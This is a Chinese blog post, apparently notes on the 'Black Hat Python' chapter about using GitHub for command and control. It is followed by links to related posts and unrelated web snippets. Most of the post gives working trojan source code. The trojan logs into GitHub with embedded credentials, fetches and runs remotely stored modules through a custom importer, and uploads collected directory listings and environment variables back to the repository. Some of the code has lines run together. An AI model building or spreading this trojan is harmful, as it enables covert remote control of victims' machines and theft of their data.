GitHub账号设置

mkdir trojan
cd trojan
git init
mkdir modules
mkdir config
mkdir data
touch modules/.gitignore
touch config/.gitignore
touch data/.gitignore
git add .
git commit -m "Adding repo structure for trojan."
git remote add origin https://github.com/<你的GitHub用户名>/chapter7.git
git push origin master

创建模块

dirlist.py:

import os

def run(**args):

    print "[*] In dirlister module. "
files = os.listdir(".") return str(files)

environment.py:

import os

def run(**args):
print "[*] In environment module. "
return str(os.environ)

在项目的主目录中通过下面命令将其推送上去:

git add .
git commit -m "Adding new modules"
git push origin master

木马配置:

进入config目录,新建abc.json:

[
{
"module" : "dirlister"
},
{
"module" : "environment"
}
]

推送代码上去GitHub:

git add .

git commit -m "Adding simple config."

git push origin master

编写基于GitHub通信的木马

#!/usr/bin/python
#coding=utf-8 import json
import base64
import sys
import time
import imp
import random
import threading
import Queue
import os from github3 import login trojan_id = "abc" trojan_config = "%s.json"%trojan_id
data_path = "data/%s/"%trojan_id
trojan_modules = []
configured = False
task_queue = Queue.Queue() def connect_to_github():
gh = login(username="你的GitHub用户名",password="密码")
repo = gh.repository("你的GitHub用户名","chapter7")
branch = repo.branch("master") return gh,repo,branch def get_file_contents(filepath):
gh,repo,branch = connect_to_github()
tree = branch.commit.commit.tree.recurse() for filename in tree.tree:
if filepath in filename.path:
print "[*] Found file %s"%filepath
blob = repo.blob(filename._json_data['sha'])
return blob.content return None def get_trojan_config():
global configured
config_json = get_file_contents(trojan_config)
config = json.loads(base64.b64decode(config_json))
configured = True for task in config:
if task['module'] not in sys.modules:
exec("import %s"%task['module']) return config def store_module_result(data):
gh,repo,branch = connect_to_github()
remote_path = "data/%s/%d.data"%(trojan_id,random.randint(1000,100000))
repo.create_file(remote_path,"Commit message",base64.b64encode(data))
return class GitImporter(object):
"""docstring for GitImporter"""
def __init__(self):
self.current_module_code = "" def find_module(self,fullname,path=None):
if configured:
print "[*] Attempting to retrieve %s"%fullname
new_library = get_file_contents("modules/%s"%fullname) if new_library is not None:
self.current_module_code = base64.b64decode(new_library)
return self return None def load_module(self,name):
module = imp.new_module(name)
exec self.current_module_code in module.__dict__
sys.modules[name] = module return module def module_runner(module):
task_queue.put(1)
result = sys.modules[module].run()
task_queue.get() #保存结果到我们的repo中
store_module_result(result) return #木马的主循环
sys.meta_path = [GitImporter()] while True:
if task_queue.empty():
config = get_trojan_config()
for task in config:
t = threading.Thread(target=module_runner,args=(task['module'],))
t.start()
time.sleep(random.randint(1,10)) time.sleep(random.randint(1000,10000))

《Python黑帽子:黑客与渗透测试编程之道》 基于GitHub的命令和控制的更多相关文章

  1. python黑帽子-黑客与渗透测试编程之道(源代码)

    链接: https://pan.baidu.com/s/1i5BnB5V   密码: ak9t

  2. 读书笔记 ~ Python黑帽子 黑客与渗透测试编程之道

    Python黑帽子  黑客与渗透测试编程之道   <<< 持续更新中>>> 第一章: 设置python 环境 1.python软件包管理工具安装 root@star ...

  3. 2017-2018-2 20179204 PYTHON黑帽子 黑客与渗透测试编程之道

    python代码见码云:20179204_gege 参考博客Python黑帽子--黑客与渗透测试编程之道.关于<Python黑帽子:黑客与渗透测试编程之道>的学习笔记 第2章 网络基础 t ...

  4. 《Python黑帽子:黑客与渗透测试编程之道》 扩展Burp代理

    下载jython,在Burpsuite的扩展中配置jython路径: Burp模糊测试: #!/usr/bin/python #coding=utf-8 # 导入三个类,其中IBurpExtender ...

  5. 《Python黑帽子:黑客与渗透测试编程之道》 Web攻击

    Web的套接字函数库:urllib2 一开始以urllib2.py命名脚本,在Sublime Text中运行会出错,纠错后发现是重名了,改过来就好: #!/usr/bin/python #coding ...

  6. 《Python黑帽子:黑客与渗透测试编程之道》 Scapy:网络的掌控者

    窃取email认证: 测试代码: #!/usr/bin/python #coding=utf-8 from scapy.all import * #数据包回调函数 def packet_callbac ...

  7. 《Python黑帽子:黑客与渗透测试编程之道》 网络基础

    TCP客户端: 示例中socket对象有两个参数,AF_INET参数表明使用IPv4地址或主机名 SOCK_STREAM参数表示是一个TCP客户端.访问的URL是百度. #coding=utf-8 i ...

  8. 《Python黑帽子:黑客与渗透测试编程之道》 玩转浏览器

    基于浏览器的中间人攻击: #coding=utf-8 import win32com.client import time import urlparse import urllib data_rec ...

  9. 《Python黑帽子:黑客与渗透测试编程之道》 Windows下木马的常用功能

    有趣的键盘记录: 安装pyHook: http://nchc.dl.sourceforge.net/project/pyhook/pyhook/1.5.1/pyHook-1.5.1.win32-py2 ...

随机推荐

  1. Java数据结构和算法(二)顺序存储的树结构

    Java数据结构和算法(二)顺序存储的树结构 数据结构与算法目录(https://www.cnblogs.com/binarylei/p/10115867.html) 二叉树也可以用数组存储,可以和完 ...

  2. 如何删除win8自带输入法

    如何删除 win8 自带输入法 win8 自带的那个中文输入法太坑了,想删又删不了.试了半个小时才试出一个方法.方法如下: 第一步:在更改语言道选项下面点击[添加语言] [控制面板] -> [时 ...

  3. 给Array添加去重原型方法

    Array.prototype.unique = function(){ var newArray = []; var oldArray = this; if(oldArray.length<= ...

  4. JavaScript 的数据类型及其检测

    JavaScript 有几种类型的值? Javascript 有两种数据类型,分别是基本数据类型和引用数据类型.其中基本数据类型包括 Undefined.Null.Boolean.Number.Str ...

  5. 创建 maven web 项目时 ,更改 为 Dynamic web module 为 3.0 时 项目报错

    更改 项目 project facets 将 dynamic web module  改为 3.0 ,如果 java 的 版本 为 1.7 以下 ,项目会出现 叉 , 原因是  web 3.0  要和 ...

  6. spring mvc 用cookie和拦截器实现自动登录(/免登录)

    Cookie/Session机制详解:http://blog.csdn.net/fangaoxin/article/details/6952954 SpringMVC记住密码功能:http://blo ...

  7. phalapi框架where条件查询

    // WHERE name = 'dogstar' AND age = 18 $user->where(array('name' => 'dogstar', 'age' => 18) ...

  8. schwarz( 施瓦兹)不等式证明

    证明 如果: 函数 y=ax^2+2bx+c 对任意x >=0 时 y>=0; 函数图象在全部x轴上方,故二次方程判别式 b^2-4ac<=0;(即方程无实数解) 即(2b)^2&l ...

  9. Class^=,Class*= ,Class$=含义(转)

    在Twitter 中有看到如下selector: .show-grid [class*="span"] { background-color: #eee; text-align: ...

  10. SQL 查找重复记录

    CREATE TABLE product( ID INT IDENTITY(1,1) PRIMARY KEY NOT NULL, Pid INT NOT NULL, Pname VARCHAR(50) ...